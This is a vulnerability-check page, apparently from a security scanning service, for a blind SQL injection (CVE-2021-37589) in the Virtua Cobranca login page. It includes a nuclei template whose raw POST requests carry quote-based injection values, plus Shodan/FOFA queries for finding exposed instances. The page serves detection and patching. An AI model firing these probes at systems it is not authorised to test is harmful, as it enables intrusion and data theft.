Virtua Software Cobranca <12R - Blind SQL Injection

highseverity

7.5CVSS score

32.7%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Virtua Cobranca before 12R allows blind SQL injection on the login page.

Impact

Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the underlying system.

Fix

Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in Virtua Software Cobranca <12R.

How to confirm it

Send: POST /controller/origemdb.php?idselorigem=ATIVOS ; POST /controller/login.php?acao=autenticar
Positive when: contains(body_3, "Os parametros não estão informados corretamente") or contains(body_3, "O CNPJ dos parametro não está informado corretamente") AND status_code_2 == 500 && status_code_3 == 200

Run it with nuclei: nuclei -id CVE-2021-37589 -u <target>

The full check

id: CVE-2021-37589

info:
  name: Virtua Software Cobranca <12R - Blind SQL Injection
  author: princechaddha
  severity: high
  description: |
    Virtua Cobranca before 12R allows blind SQL injection on the login page.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the underlying system.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in Virtua Software Cobranca <12R.
  reference:
    - https://github.com/luca-regne/my-cves/tree/main/CVE-2021-37589
    - https://www.virtuasoftware.com.br/
    - https://www.virtuasoftware.com.br/conteudo.php?content=downloads&lang=pt-br
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37589
    - https://github.com/luca-regne/public-exploits
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-37589
    cwe-id: CWE-89
    epss-score: 0.32662
    epss-percentile: 0.98354
    cpe: cpe:2.3:a:virtuasoftware:cobranca:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: virtuasoftware
    product: cobranca
    shodan-query: http.favicon.hash:876876147
    fofa-query: icon_hash=876876147
  tags: cve,cve2021,virtua,sqli,virtuasoftware,vuln

http:
  - raw:
      - |
        POST /controller/origemdb.php?idselorigem=ATIVOS HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
      - |
        POST /controller/login.php?acao=autenticar HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest

        idusuario='&idsenha=test&tipousr=Usuario
      - |
        POST /controller/login.php?acao=autenticar HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest

        idusuario=''&idsenha=a&tipousr=Usuario

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_3, "Os parametros não estão informados corretamente")'
          - 'contains(body_3, "O CNPJ dos parametro não está informado corretamente")'
        condition: or

      - type: dsl
        dsl:
          - "status_code_2 == 500 && status_code_3 == 200"

References

Use this check only on systems you are authorised to test. Where the data comes from